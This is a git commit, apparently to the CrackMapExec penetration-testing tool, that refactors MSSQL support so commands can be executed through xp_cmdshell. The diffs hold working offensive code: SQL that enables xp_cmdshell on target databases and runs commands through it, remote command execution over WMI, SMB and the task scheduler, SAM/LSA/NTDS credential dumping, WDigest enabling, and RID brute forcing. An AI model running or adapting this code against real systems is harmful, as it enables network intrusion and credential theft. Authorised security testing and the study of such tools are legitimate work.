- Re-Factored MSSQL support for better integration when executing

commands and attacks (e.g. mimikatz, injection)
- By default, the --mssql flag will enumerate db instances and will
  allow you to execute commands through xp_cmdshell
- Made some logic changes on how/when connections are initiated
main
byt3bl33d3r 2016-01-26 21:23:03 -07:00
parent 3c5cf012fd
commit c50ffb0f65
4 changed files with 217 additions and 218 deletions

View File

@ -1,6 +1,7 @@
from scripts.wmiexec import WMIEXEC
from scripts.smbexec import SMBEXEC
from scripts.atexec import TSCH_EXEC
from scripts.mssqlclient import SQLSHELL
import settings
@ -8,44 +9,49 @@ class EXECUTOR:
"""Yes, I know this sounds like the pokemon... deal with it"""
def __init__(self, logger, command, host, domain, noOutput, smbconnection, method, user, passwd, ntlm_hash):
def __init__(self, logger, command, host, domain, noOutput, connection, method, user, passwd, ntlm_hash):
if settings.args.mssql and str(connection).find('MSSQL') != -1:
sql_shell = SQLSHELL(connection, logger)
sql_shell.do_xp_cmdshell(command, noOutput)
if method == 'wmi':
wmi_exec = WMIEXEC(logger,
command,
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.share,
noOutput,
settings.args.kerb)
wmi_exec.run(host, smbconnection)
elif method == 'smbexec':
smb_exec = SMBEXEC(logger,
command,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb,
'SHARE',
settings.args.share,
noOutput)
smb_exec.run(host)
elif method == 'atexec':
atsvc_exec = TSCH_EXEC(logger,
else:
if method == 'wmi':
wmi_exec = WMIEXEC(logger,
command,
user,
user,
passwd,
domain,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb,
settings.args.aesKey,
settings.args.share,
noOutput,
settings.args.kerb)
wmi_exec.run(host, connection)
elif method == 'smbexec':
smb_exec = SMBEXEC(logger,
command,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb,
'SHARE',
settings.args.share,
noOutput)
atsvc_exec.play(host)
smb_exec.run(host)
elif method == 'atexec':
atsvc_exec = TSCH_EXEC(logger,
command,
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb,
noOutput)
atsvc_exec.play(host)

View File

@ -27,54 +27,12 @@ import traceback
import socket
import logging
def mssql_greenlet(host, server_name, domain):
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': server_name,
'port': settings.args.mssql_port,
'service': 'MSSQL'})
try:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
except socket.error as e:
if settings.args.verbose: print_error(str(e))
return
if settings.args.mssql_instance:
instances = ms_sql.getInstances(5)
if len(instances) == 0:
cme_logger.info("No MSSQL Instances found")
else:
cme_logger.success("Enumerating MSSQL instances")
for i, instance in enumerate(instances):
cme_logger.results("Instance {}".format(i))
for key in instance.keys():
cme_logger.results(key + ":" + instance[key])
if settings.args.mssql is not None:
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
sql_shell = SQLSHELL(ms_sql, cme_logger)
if settings.args.mssql != '':
sql_shell.onecmd(settings.args.mssql)
if settings.args.enable_xpcmdshell:
sql_shell.onecmd('enable_xp_cmdshell')
if settings.args.disable_xpcmdshell:
sql_shell.onecmd('disable_xp_cmdshell')
if settings.args.xp_cmd:
sql_shell.onecmd("xp_cmdshell {}".format(settings.args.xp_cmd))
ms_sql.disconnect()
def main_greenlet(host):
try:
smb = SMBConnection(host, host, None, settings.args.port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
try:
smb.login('' , '')
except SessionError as e:
@ -95,9 +53,6 @@ def main_greenlet(host):
cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))
if settings.args.mssql_instance or settings.args.mssql is not None:
mssql_greenlet(host, s_name, domain)
try:
'''
DC's seem to want us to logoff first
@ -108,131 +63,171 @@ def main_greenlet(host):
except NetBIOSError:
pass
except socket.error:
smb = SMBConnection(host, host, None, settings.args.port)
pass
if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:
if settings.args.mssql:
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': s_name,
'port': settings.args.mssql_port,
'service': 'MSSQL'})
smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
#try:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
rfs = RemoteFileSystem(host, smb, cme_logger)
if settings.args.delete:
rfs.delete()
if settings.args.download:
rfs.download()
if settings.args.upload:
rfs.upload()
if settings.args.list:
rfs.list()
instances = ms_sql.getInstances(5)
cme_logger.info("Found {} MSSQL instance(s)".format(len(instances)))
for i, instance in enumerate(instances):
cme_logger.results("Instance {}".format(i))
for key in instance.keys():
cme_logger.results(key + ":" + instance[key])
if settings.args.enum_shares:
shares = SHAREDUMP(smb, cme_logger)
shares.dump(host)
try:
ms_sql.disconnect()
except:
pass
if settings.args.enum_users:
users = SAMRDump(cme_logger,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb)
users.dump(host)
#except socket.error as e:
# if settings.args.verbose: mssql_cme_logger.error(str(e))
if settings.args.sam or settings.args.lsa or settings.args.ntds:
dumper = DumpSecrets(cme_logger,
'logs/{}'.format(host),
smb,
settings.args.kerb)
if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file:
dumper.do_remote_ops()
if settings.args.sam:
dumper.dump_SAM()
if settings.args.lsa:
dumper.dump_LSA()
if settings.args.ntds:
dumper.dump_NTDS(settings.args.ntds,
settings.args.ntds_history,
settings.args.ntds_pwdLastSet)
dumper.cleanup()
ms_sql = None
smb = None
if settings.args.pass_pol:
pass_pol = PassPolDump(cme_logger,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb)
pass_pol.dump(host)
if settings.args.mssql:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
sql_shell = SQLSHELL(ms_sql, cme_logger)
else:
smb = SMBConnection(host, host, None, settings.args.port)
smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger)
if settings.args.rid_brute:
lookup = LSALookupSid(cme_logger,
user,
passwd,
domain,
'{}/SMB'.format(settings.args.port),
ntlm_hash,
settings.args.rid_brute)
lookup.dump(host)
if ms_sql:
connection = ms_sql
if settings.args.mssql_query:
sql_shell.onecmd(settings.args.mssql_query)
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
rpc_query = RPCQUERY(cme_logger,
user,
if smb:
connection = smb
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
rfs = RemoteFileSystem(host, smb, cme_logger)
if settings.args.delete:
rfs.delete()
if settings.args.download:
rfs.download()
if settings.args.upload:
rfs.upload()
if settings.args.list:
rfs.list()
if settings.args.enum_shares:
shares = SHAREDUMP(smb, cme_logger)
shares.dump(host)
if settings.args.enum_users:
users = SAMRDump(cme_logger,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash)
ntlm_hash,
settings.args.aesKey,
settings.args.kerb)
users.dump(host)
if settings.args.enum_sessions:
rpc_query.enum_sessions(host)
if settings.args.enum_disks:
rpc_query.enum_disks(host)
if settings.args.enum_lusers:
rpc_query.enum_lusers(host)
if settings.args.sam or settings.args.lsa or settings.args.ntds:
dumper = DumpSecrets(cme_logger,
'logs/{}'.format(host),
smb,
settings.args.kerb)
if settings.args.spider:
smb_spider = SMBSPIDER(cme_logger, host, smb)
smb_spider.spider(settings.args.spider, settings.args.depth)
smb_spider.finish()
dumper.do_remote_ops()
if settings.args.sam:
dumper.dump_SAM()
if settings.args.lsa:
dumper.dump_LSA()
if settings.args.ntds:
dumper.dump_NTDS(settings.args.ntds,
settings.args.ntds_history,
settings.args.ntds_pwdLastSet)
dumper.cleanup()
if settings.args.wmi_query:
wmi_query = WMIQUERY(cme_logger,
user,
if settings.args.pass_pol:
pass_pol = PassPolDump(cme_logger,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
passwd,
ntlm_hash,
settings.args.kerb,
settings.args.aesKey)
ntlm_hash,
settings.args.aesKey,
settings.args.kerb)
pass_pol.dump(host)
wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)
if settings.args.rid_brute:
lookup = LSALookupSid(cme_logger,
user,
passwd,
domain,
'{}/SMB'.format(settings.args.port),
ntlm_hash,
settings.args.rid_brute)
lookup.dump(host)
if settings.args.check_uac:
uac = UACdump(cme_logger, smb, settings.args.kerb)
uac.run()
if settings.args.enable_wdigest or settings.args.disable_wdigest:
wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
if settings.args.enable_wdigest:
wdigest.enable()
elif settings.args.disable_wdigest:
wdigest.disable()
if settings.args.service:
service_control = SVCCTL(cme_logger,
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
rpc_query = RPCQUERY(cme_logger,
user,
passwd,
domain,
ntlm_hash)
if settings.args.enum_sessions:
rpc_query.enum_sessions(host)
if settings.args.enum_disks:
rpc_query.enum_disks(host)
if settings.args.enum_lusers:
rpc_query.enum_lusers(host)
if settings.args.spider:
smb_spider = SMBSPIDER(cme_logger, host, smb)
smb_spider.spider(settings.args.spider, settings.args.depth)
smb_spider.finish()
if settings.args.wmi_query:
wmi_query = WMIQUERY(cme_logger,
user,
domain,
'{}/SMB'.format(settings.args.port),
settings.args.service,
settings.args.aesKey,
settings.args.kerb,
passwd,
ntlm_hash,
settings.args)
service_control.run(host)
settings.args.kerb,
settings.args.aesKey)
wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)
if settings.args.check_uac:
uac = UACdump(cme_logger, smb, settings.args.kerb)
uac.run()
if settings.args.enable_wdigest or settings.args.disable_wdigest:
wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
if settings.args.enable_wdigest:
wdigest.enable()
elif settings.args.disable_wdigest:
wdigest.disable()
if settings.args.service:
service_control = SVCCTL(cme_logger,
user,
passwd,
domain,
'{}/SMB'.format(settings.args.port),
settings.args.service,
settings.args.aesKey,
settings.args.kerb,
ntlm_hash,
settings.args)
service_control.run(host)
if settings.args.command:
EXECUTOR(cme_logger,
@ -240,7 +235,7 @@ def main_greenlet(host):
host,
domain,
settings.args.no_output,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -252,7 +247,7 @@ def main_greenlet(host):
host,
domain,
settings.args.no_output,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -265,7 +260,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -278,7 +273,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -291,7 +286,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -306,7 +301,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
'smbexec',
user,
passwd,
@ -320,7 +315,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -332,7 +327,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -344,16 +339,22 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
try:
smb.logoff()
except:
pass
try:
ms_sql.disconnect()
except:
pass
except SessionError as e:
print_error("{}:{} {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()

View File

@ -76,14 +76,19 @@ class SQLSHELL(cmd.Cmd):
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s):
def do_xp_cmdshell(self, s, noOutput=False):
try:
self.do_enable_xp_cmdshell('')
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
self.logger.success('Executed command via XP_CMDSHELL')
if noOutput is False:
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
self.do_disable_xp_cmdshell('')
except:
pass
if noOutput is True:
self.sql.printReplies()
def do_lcd(self, s):
if s == '':
@ -92,20 +97,10 @@ class SQLSHELL(cmd.Cmd):
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
def do_disable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
def default(self, line):
try:

View File

@ -57,7 +57,7 @@ parser = argparse.ArgumentParser(description="""
version='{} - {}'.format(VERSION, CODENAME),
epilog='Hut Hut! Wat Wat!')
parser.add_argument("target", nargs='*', type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets")
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
parser.add_argument("-u", metavar="USERNAME", dest='user', nargs='*', default=[], type=str, help="Username(s) or file(s) containing usernames")
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', nargs= '*', default=[], type=str, help="Password(s) or file(s) containing passwords")
@ -139,12 +139,9 @@ wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account un
wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter')
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's")
mgroup.add_argument("--mssql", nargs='?', const='', metavar='QUERY', help='Authenticate with the provided credentials against the MSSQL service, optionally execute the specified query')
mgroup.add_argument("--mssql", action='store_true', help='Authenticate with the provided credentials against the MSSQL service')
mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)')
mgroup.add_argument("--mssql-instance", action='store_true', help='Enumerate the MSSQL intances on the target hosts')
mgroup.add_argument("--enable-xpcmdshell", action='store_true', help='Enable xp_cmdshell on target DB\'s')
mgroup.add_argument("--disable-xpcmdshell", action='store_true', help='Disable xp_cmdshell on target DB\'s')
mgroup.add_argument("--xp-cmd", metavar='COMMAND', help='Execute the specified command using xp_cmdshell')
mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
if len(sys.argv) == 1:
parser.print_help()